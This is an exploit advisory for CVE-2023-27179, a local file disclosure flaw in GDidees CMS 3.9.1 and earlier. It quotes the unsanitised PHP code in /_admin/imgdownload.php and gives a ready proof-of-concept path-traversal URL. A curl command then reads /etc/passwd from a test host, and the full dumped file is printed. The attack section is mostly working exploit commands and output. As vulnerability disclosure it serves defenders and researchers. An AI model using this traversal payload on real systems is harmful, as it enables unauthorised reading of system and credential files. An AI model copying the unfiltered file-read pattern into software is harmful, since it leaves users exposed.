GDidees CMS 3.9.1 - Local File Disclosure

# Exploit Title: GDidees CMS 3.9.1 - Local File Disclosure
# Date : 03/27/2023
# Exploit Author : Hadi Mene
# Vendor Homepage : https://www.gdidees.eu/
# Software Link : https://www.gdidees.eu/cms-1-0.html
# Version : 3.9.1 and earlier 
# Tested on : Debian 11 
# CVE : CVE-2023-27179

### Summary:

GDidees CMS v3.9.1 and lower versions was discovered to contain a local file disclosure vulnerability via the filename parameter at /_admin/imgdownload.php.


### Description :

Imgdownload.php is mainly used by the QR code generation module to download an QR code. 
The vulnerability occurs in line 4 where the filename parameter which will be opened later is not filtered or sanitized.
Furthermore, there is no admin session check in this code as it should since only the admin user should normally
be able to download QR code.

Vulnerable Code :

3. if (isset($_GET["filename"])) {
4.        $filename=$_GET["filename"];
	  .....
          .....
27. @readfile($filename) OR die();


### POC :

URL : https://[GDIDEESROOT]/_admin/imgdownload.php?filename=../../../../../../etc/passwd

Exploitation using curl 
# curl http://192.168.0.32/cmsgdidees3.9.1-mysqli/_admin/imgdownload.php?filename=../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
ntp:x:104:110::/nonexistent:/usr/sbin/nologin
messagebus:x:105:111::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
pulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
lightdm:x:108:117:Light Display Manager:/var/lib/lightdm:/bin/false
hadi:x:1000:1000:hadi,,,:/home/hadi:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
openldap:x:109:118:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:120:MySQL Server,,,:/nonexistent:/bin/false


### References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27179
https://nvd.nist.gov/vuln/detail/CVE-2023-27179
https://www.exploit-db.com/papers/12883